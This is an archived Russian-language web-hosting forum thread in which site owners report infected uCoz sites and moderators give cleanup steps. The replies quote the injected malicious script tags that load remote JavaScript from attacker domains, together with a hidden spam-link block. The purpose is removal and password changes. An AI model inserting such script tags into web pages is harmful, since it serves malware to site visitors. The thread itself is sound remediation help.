Модератор форума: Yuri_G  
Вирусы на сайтах_3 (архив для чтения)
drug6307
Сообщений: 9
Репутация: 4

Сообщение # 1651 | 13:39:00
Срочно требуется помощь!
Яндекс "забраковал" сайт: http://asbest-grin.ru
С помощью сервиса: http://ru.saferpage.com/ выяснил что вредоносным кодом является скрипт <b></b>
http://wap-tds.in/code/js.php?i=1487&r=2802&p=7263&c=8

Но каким образом его можно удалить из тела сайта????
Сообщение отредактировал drug6307 - Понедельник, 18 Мар 2013, 13:45:25
Miss_Esq
Сообщений: 13859
Репутация: 4159
Уровень замечаний:

Сообщение # 1652 | 14:39:20
drug6307, В заголовке шаблона страницы удаляйте ...

$Vladimir$
Сообщений: 7465
Репутация: 1053

Сообщение # 1653 | 22:03:51
нат, смените пароль uID и удалите во всех шаблонах код
Код
<script type="text/javascript" src="https://dl.dropbox.com/u/36053555/scsct.js"></script>
IrinaHodina
Сообщений: 5
Репутация: 0

Сообщение # 1654 | 14:52:55
Добрый день)
у меня опять проблема с www.dogs.gs
$Vladimir$
Сообщений: 7465
Репутация: 1053

Сообщение # 1655 | 14:55:29
IrinaHodina, для начала смените пароль вашего аккаунта.
удалите скрипт

Код
<script language='javascript' type='text/javascript' src='http://tnyzin.ru/660j4tatq8p58q4f23jk7os3n97tget'></script>
seven13
Сообщений: 12
Репутация: 0

Сообщение # 1656 | 18:51:59
Недавно проверял сайт на вирусы, и сканирование выявило один вирус под названием Trojan.JS.Blacole сегодня пришло уведомление от яндекса что на сайте вирус, помогите пожалуйста удалить его!
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1657 | 18:56:57
seven13, где ссылка на проблемный сайт?
если речь идет об этом http://phone-games.my1.ru/ то там из мини-чата нужно удалить скрипт

Код
<script src="http://sanpb.ru/text.js" type="text/javascript"></script>

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
Dominik_Yo
Сообщений: 3
Репутация: 3

Сообщение # 1658 | 21:26:28
Доброго времени суток! Опять на http://boomba.at.ua моём сайте появились вредоносные скрипты (рекламного характера).
Именно:
Код
<script type="text/javascript" src="https://dl.dropbox.com/u/36053555/scripta.js"></script><script type="text/javascript" src="https://dl.dropbox.com/u/36053555/scsct.js"</script>

Не имею понятия как они оказались в шаблоне.
Суть проблемы:
Когда я хочу удалить эту строку, нажимаю на кнопку Сохранить, то Передача данных идет бесконечно...(см. скриншот)

Пробовал с другого браузера, менять ip ничего не помогло wacko Хелп

http://boomba.at.ua
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1659 | 22:31:20
Dominik_Yo, удалить можно через быструю замену. в поле что заменить вписываете свой скрипт. поле на что заменить оставляете пустым и заменяете во всех модулях.
чтобы это не повторялось смените пароль uid аккаунта

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
leqo
Сообщений: 11
Репутация: 0

Сообщение # 1660 | 16:45:53
Доброго времени! У меня на сайте http://dshiuinsk.ru/ сидит вирус который я никак не могу обнаружить. Этот вирус беспокоит посетителей.Все скрипты посмотрел ничего не нашел. Подскажите пожалуйста что можно сделать.
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1661 | 16:50:54
leqo, панель управления - дизайн - управление дизайном - быстрая замена. в поле что заменить вставляете скрипт

Код
<script language="javascript" src="http://gocash.ru3.biz/js/back.php?id=47"></script>


поле на что заменить оставляете пустым и производите замену во всех модулях.
после этого меняете пароль uid профиля, которым администрируете сайт

так же удалите спам из кода. можно тоже быстрой заменой

Код
<div id="links" style="display:none;"><a href="">
  </a><a id="aa" href="http://uc-portaller.ru/load/4"><span id="ab">шаблоны для ucoz</span></a>
  <a id="ba" href="http://dalife.ru/"><span id="bb">шаблоны для DLE</span></a>
  </div>

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
leqo
Сообщений: 11
Репутация: 0

Сообщение # 1662 | 17:00:04
[b]webanet, если вот это я убери то у меня шаблон переходит на сайт[/b]http://uc-portaller.ru
Цитата
<div id="links" style="display:none;"><a href="">
</a><a id="aa" href="/load/4"><span id="ab">шаблоны для ucoz</span></a>
<a id="ba" href="http://dalife.ru/"><span id="bb">шаблоны для DLE</span></a>
</div>
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1663 | 17:10:36
значит уберите скрипт, который до сих пор на месте

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
webanet
Сообщений: 24067
Репутация: 4985

Сообщение # 1664 | 17:51:19
leqo, скрипт на месте. значит открывайте каждый шаблон на редактирование и удаляйте вручную

ТУТ можно оставить своё мнение по любому вопросу
https://webanetlabs.net/
leqo
Сообщений: 11
Репутация: 0

Сообщение # 1665 | 18:03:48
я не нашел таким номером скрипт
Код
<script language="javascript" src="http://gocash.ru3.biz/js/back.php?id=47"></script>

а только этот
Код
<script language="javascript" src="http://gocash1.ru3.biz/js/back.php?id=54"></script

удаляю

Добавлено (21 Мар 2013, 18:03:48)
---------------------------------------------
webanet, Спасибо все сделал. Еще вопрос по поводу входа иногда перекидывает на vk.com... и т.п. как можно узнать где этот вирус?в компьютере или в скрипте на вход?
Поиск: